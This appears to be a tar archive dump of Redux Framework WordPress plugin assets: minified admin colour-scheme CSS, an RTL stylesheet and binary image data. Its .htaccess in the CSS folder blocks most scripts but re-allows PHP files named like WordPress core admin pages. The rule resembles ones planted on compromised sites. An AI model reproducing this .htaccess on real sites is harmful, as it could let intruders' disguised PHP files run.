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) !important}.admin-color-sunrise .ui-datepicker-header{background-color:#b43c38 !important;color:white !important}.admin-color-sunrise .ui-datepicker td .ui-state-active{background-color:#df8a48 !important;color:white !important}.admin-color-sunrise .ui-datepicker td .ui-state-hover{color:#df8a48 !important}.admin-color-sunrise .ui-datepicker td .ui-state-highlight{background:#dd823b !important;border:1px solid #b43c38 !important;color:white !important}.admin-color-sunrise .redux-container-switch .cb-disable,.admin-color-sunrise .redux-container-switch .cb-enable,.admin-color-sunrise .ui-state-default,.admin-color-sunrise .ui-widget-content .ui-state-default,.admin-color-sunrise .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-sunrise .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-sunrise .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-sunrise .redux-container-switch .cb-enable.selected,.admin-color-sunrise .redux-field-container .ui-buttonset .ui-state-active{background-color:#dd823b !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#e29559), to(#dd823b)) !important;background-image:-moz-linear-gradient(top, #e29559, #dd823b) !important;background-image:-ms-linear-gradient(top, #e29559, #dd823b) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #e29559), color-stop(100%, #dd823b)) !important;background-image:-webkit-linear-gradient(top, #e29559, #dd823b) !important;background-image:-o-linear-gradient(top, #e29559, #dd823b) !important;background-image:-linear-gradient(top, #e29559, #dd823b) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#e29559', endColorstr='#dd823b', GradientType=0) !important;border-color:#ad5d1e !important;border-color:#c36922 !important;-webkit-box-shadow:inset 0 1px 0 #e8ac7c,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #e8ac7c,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-sunrise #redux-header{background:#b43c38;border-color:#dd823b}.admin-color-sunrise #redux-header .display_header span{color:#f0c8c6}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-sunrise .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-sunrise .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-sunrise .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active a,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild a{color:#b43c38}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#cc6c23;background:#8d2f2c}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#dd823b}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#b43c38}.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#f0c8c6;text-shadow:1px 1px #d0534d}.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#b43c38;text-shadow:none}.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#dd823b;text-shadow:1px 1px #98511a}.admin-color-sunrise .redux-container-image_select .redux-image-select-selected img{border-color:#dd823b}.admin-color-sunrise .redux-container-image_select .redux-image-select-selected .tiles{border-color:#dd823b}.admin-color-sunrise #redux-footer #redux-share a{color:#dd823b}.admin-color-sunrise #redux-footer #redux-share a:hover{color:#98511a}.admin-color-sunrise .select2-results .select2-highlighted{background:#dd823b}.admin-color-sunrise .select2-drop-active,.admin-color-sunrise .select2-container-multi.select2-container-active .select2-choices,.admin-color-sunrise .select2-drop.select2-drop-above.select2-drop-active,.admin-color-sunrise .select2-container-active .select2-choice,.admin-color-sunrise .select2-container-active .select2-choices,.admin-color-sunrise .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-sunrise .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#dd823b}.admin-color-sunrise .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-sunrise .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-sunrise .noUi-connect{background-color:#df8a48 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#e59e66), to(#df8a48)) !important;background-image:-moz-linear-gradient(top, #e59e66, #df8a48) !important;background-image:-ms-linear-gradient(top, #e59e66, #df8a48) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #e59e66), color-stop(100%, #df8a48)) !important;background-image:-webkit-linear-gradient(top, #e59e66, #df8a48) !important;background-image:-o-linear-gradient(top, #e59e66, #df8a48) !important;background-image:-linear-gradient(top, #e59e66, #df8a48) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#e59e66', endColorstr='#df8a48', GradientType=0) !important}@media screen and (max-width: 600px){.redux-group-tab-link-a{min-height:15px}.redux-group-tab-link-a span{padding:11px 12px;color:#555;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s;text-shadow:none !important}.redux-group-tab-link-a span:hover{background:#e5e5e5}}@media screen and (max-width: 782px){#redux-footer #redux-share{line-height:38px;font-size:18px}.sticky-save-warn .redux-save-warn{right:13px;top:46px}.redux-container .expand_options{margin-top:5px}.redux-action_bar input{margin-bottom:0 !important}}@media screen and (max-width: 600px){#redux-footer #redux-share,.redux-hint-qtip{display:none}.redux-container .redux-action_bar{float:none}}.redux-sidebar .icon-large,.redux-main .icon-large{background-image:inherit !important;width:inherit;height:inherit}.redux-main dd,.redux-main li,.redux-sidebar li{margin-bottom:0 !important}.fully-expanded .redux-sidebar{margin-left:-500px}.fully-expanded .redux-main{margin-left:0}.fully-expanded .redux-group-tab{display:block}@media screen and (max-width: 640px){#redux-defaults-section{display:none}}@media screen and (max-width: 730px){#redux-share{display:none}}@media screen and (max-width: 730px){#redux-defaults-section2{display:none}#redux-share{display:none}}@media screen and (max-width: 600px){.form-table>tbody>tr>th{padding-bottom:0 !important}.redux_field_th{padding-top:0;padding-bottom:0}.redux-container .redux-main{margin-left:44px}.redux-main .redux-field-container{padding-top:0;padding-bottom:0}.redux-main .subsection a{min-height:15px}}@media screen and (min-width: 601px) and (max-width: 782px){.redux-container .sticky-save-warn .redux-save-warn{top:47px !important;right:13px !important}}@media screen and (max-width: 782px){.redux-main .form-table-section-indented input[type=text]{width:95% !important}.redux-main .redux-container-sortable input[type=text]{width:80%;display:initial}.redux-main .redux-typography-container .input_wrapper input.mini{font-size:16px !important;height:40px !important;padding:7px 10px !important;line-height:24px !important}.redux-main .redux-typography-container .picker-wrapper label{margin-top:16px !important}.redux-main .input-append{height:50px !important}.redux-main .input-append .add-on{font-size:16px;line-height:24px !important;padding:7px;height:32px !important;float:right;margin-top:-40px}.redux-main .redux-hint-qtip{float:left !important}.redux-main .redux-action_bar .button{margin-top:-1px}}@media screen and (max-width: 600px){.sticky-save-warn .redux-save-warn{top:0 !important;right:14px !important}}@media screen and (max-width: 570px){.redux-main .redux-container-sortable .checkbox-container{width:85%;padding-bottom:5px}.redux-main .redux-container-sortable .checkbox-container label{display:initial}}#redux-header{position:relative}.redux-main{position:relative}.redux-main #redux-sticky{min-height:32px;margin-left:-20px;margin-right:-20px;margin-top:-10px;margin-bottom:8px}.redux-main #redux-sticky #info_bar{height:32px}.redux-main #redux-sticky #info_bar .expand_options{margin-top:4px}.redux-main .redux_field_search{top:50px;right:5px}.redux-main #redux-footer-sticky{margin-left:-20px;margin-right:-20px;margin-bottom:-10px}.redux-qtip{z-index:999999 !important} ������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/rtl.scss�����������������������������������������������������������������0000644�����������������00000004254�14720701300�0013455 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html[dir="rtl"] .redux-container { .redux-action_bar{ float:left; } } .redux-container .expand_options, .redux-sidebar, .cb-enable, .cb-disable, .cb-enable span, .cb-disable span, #redux-footer #redux-share{ float:right; } .redux-main{ border-left:0px; margin-left:0px; border-right:1px solid #d8d8d8; margin-right:201px; .redux-typography-container .typography-preview{ text-align:center !important; direction:ltr !important; } } .redux-group-tab-link-a{ padding-left:0px; padding-right:30px; i{ padding-left:10px; padding-right:5px; } span.group_title{ padding-left:0px; padding-right:30px; } } .redux_slider{ margin-left:0px; margin-right:15px; } .redux-action_bar{ float:left !important; } .expand_options{ float:right !important; border:1px solid #f00; } .redux_field_th{ padding:20px 0 20px 10px !important; } .field-desc{ text-align:right; } .redux-container-ace_editor, .redux-container-border, .redux-container-spacing, .redux-container-dimensions{ direction:ltr !important; } .redux-container-border .field-border-input, .redux-container-border .redux-color-init, .redux-container-border .redux-border-style, .redux-container-sorter, .redux-container-border, .redux-container-spacing, .redux-container-spacing .field-spacing-input, .redux-container-dimensions .redux-dimensions-container, .redux-container-text label, .redux-container-checkbox input, .typography-font-bar, .typography-style-bar, .redux-color.redux-typography-color, .redux-typography-subsets{ float:right !important; } .input-append{ margin-right:10px; direction:ltr !important; } .redux-container-slider, .redux-container-spinner, .redux-container-switch{ direction:ltr !important; float:right; margin:0; } .redux-info-field { .redux-info-icon{ margin-left:15px; } } #redux-share{ float:right !important; } .redux-sidebar { .redux-menu-warning, .redux-menu-error, .hasSubSections .extraIconSubsections{ float:left; } } .select2-search-choice-close { left: 23px !important; }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/.htaccess����������������������������������������������������������������0000644�����������������00000001626�14720701300�0013555 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/img/3cm.png������������������������������������������������������������������0000644�����������������00000005734�14720701300�0013137 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���-���$���R��� pHYs�� �� ��� OiCCPPhotoshop ICC profile��xڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $p�d!s#�~<<+"�x �M0B\t8K�@zB�@F&S��`cb�P-�`'�{�[!� eD�h;�VE�X0�fK9�-�0IWfH�� � �0Q)�{�`##x��FW<+*��x<$9E[-qWW.(I+6aa@.y24��x6_-"bbϫp@��t~,/;m%h^ uf@�Wp~<<EJB[aW}g_Wl~<$2]GLϒ bG "IbX*QqD2"B)%d,>5�j>{-]cK'Xt��o(hw?G%�fIq��^D$.Tʳ?��D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;�2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ<FFi\$mmƣ&&!&KMMRM);L;L֙͢5=12כ߷`ZxZ,eIZYnZ9YXUZ]F%ֻNNgðɶۮm}agbgŮ}}= Z~sr:V:ޚΜ?}/gX3)iSGggs󈋉K.>.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz�%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9<qy +V<*mOW~&zMk^ʂk U }]OX/Yߵa>(xoʿܔĹdff-[n ڴ VE/(ۻC<e;?TTTT6ݵan{4[>ɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG4<YyJTiӓgό}~.`ۢ{cjotE;;\tWW:_mt<Oǻ\kz{f7y՞9=ݽzo~r'˻w'O_@AC݇?[jwGCˆ 8>99?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3-��� cHRM��z%��������u0��`��:��o_F��IDATxٽn0RHydeK6C taEB(Իr=S`lǞZbpmO[ek\rYY<]H.<sʢhYc'~| R"}�X4wDFo`(ZъVhE+ZъVhEwʱ mi$L :/#,Ar@t0 թn Zޡ:�{4V����IENDB`������������������������������������redux-framework/assets/img/toggle_tabs.png����������������������������������������������������������0000644�����������������00000000546�14720701300�0014743 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR������2���&���tEXtSoftware�Adobe ImageReadyqe<��IDATx= 07GOH`%r!k;SxO,ʿ@%DqXXț7G}!]k۶_nHe'6/!DUU@S*MӘʲTJS.ܚK*Aڶ89+ߚhYz.'/{.`œG~458B@}oUt YrEQ>c/q|$=k=kXe֞Z90э+IZ`�x?"y����IENDB`����������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/img/4-col-portfolio.png������������������������������������������������������0000644�����������������00000002011�14720701300�0015367 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���-���$���R���tEXtSoftware�Adobe ImageReadyqe<�� iTXtXML:com.adobe.xmp�����<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:C3AECC0FF69511E08A97E3D0F2D56BB8" xmpMM:DocumentID="xmp.did:C3AECC10F69511E08A97E3D0F2D56BB8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C3AECC0DF69511E08A97E3D0F2D56BB8" stRef:documentID="xmp.did:C3AECC0EF69511E08A97E3D0F2D56BB8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>J���IDATxA EUj NPPf}2Z ޒzhܢ=Ed0ƪFg)VfӇrYMah%z|]4{@ 4и{@ 4"]� au[4����IENDB`�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/img/ajax.gif�����������������������������������������������������������������0000644�����������������00000002560�14720701300�0013353 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������GIF89a����ỻ혘���������������������������������������������������������������! NETSCAPE2.0���!-Made by Krasimira Nejcheva (www.loadinfo.net)�!� ��,�������p%e(99ΔVuAM'I$@!Eezeȉ*5E$J��N+QDG/"s#=$HJOw" G7 V(](L/!�!� ��,�������q%di^֢XhUu%ue!E F\Ӌ2J - 2-D$N"Bps@8W"IJtP`5 -6#!�!� ��,�������vpH,/ "t@M A2C1(ÁB֋& C թM0! !G QGs xXDDBfhjlnDMDA�!� ��,�������}pH,/rZ*Q 0TDС @!F "XQ,HhR& M  HML# M pC}Cx|"fCiUg#E"N{FA�!� ��,�������r%di^֢Xh@WŒQLaPÁB45& R XPօ(J  2�-D$&I6pqѤ@8wFLN$ ZZ#W#!�!� ��,�������pH,/rZ*Q 0TDС @!F "XQ,HhR& M  HM�L M UCxBzCpC#nBgUk{DEA�!� ��,�������|pH,/!)t*H �TDС @! LPIVYIaR> uD%  {E!!pGUNeEBDBgimoE!gU% MDGA�!� ��,�������upH,/!"tv:Q 0DN */8ڢ * HUtR,Hյ& M  HML# M Ut*FzE*CC)gqjlnD #)![xEMEOGA�;������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/img/1c.png�������������������������������������������������������������������0000644�����������������00000000212�14720701300�0012742 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���-���$���R���QIDATXء �1é i*xҀwL[dv-o BCCCCCCCCCCCCCCCCCCC\}S����IENDB`��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/img/2cr.png������������������������������������������������������������������0000644�����������������00000005651�14720701300�0013141 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���-���$���R��� pHYs�� �� ��� OiCCPPhotoshop ICC profile��xڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $p�d!s#�~<<+"�x �M0B\t8K�@zB�@F&S��`cb�P-�`'�{�[!� eD�h;�VE�X0�fK9�-�0IWfH�� � �0Q)�{�`##x��FW<+*��x<$9E[-qWW.(I+6aa@.y24��x6_-"bbϫp@��t~,/;m%h^ uf@�Wp~<<EJB[aW}g_Wl~<$2]GLϒ bG "IbX*QqD2"B)%d,>5�j>{-]cK'Xt��o(hw?G%�fIq��^D$.Tʳ?��D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;�2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN 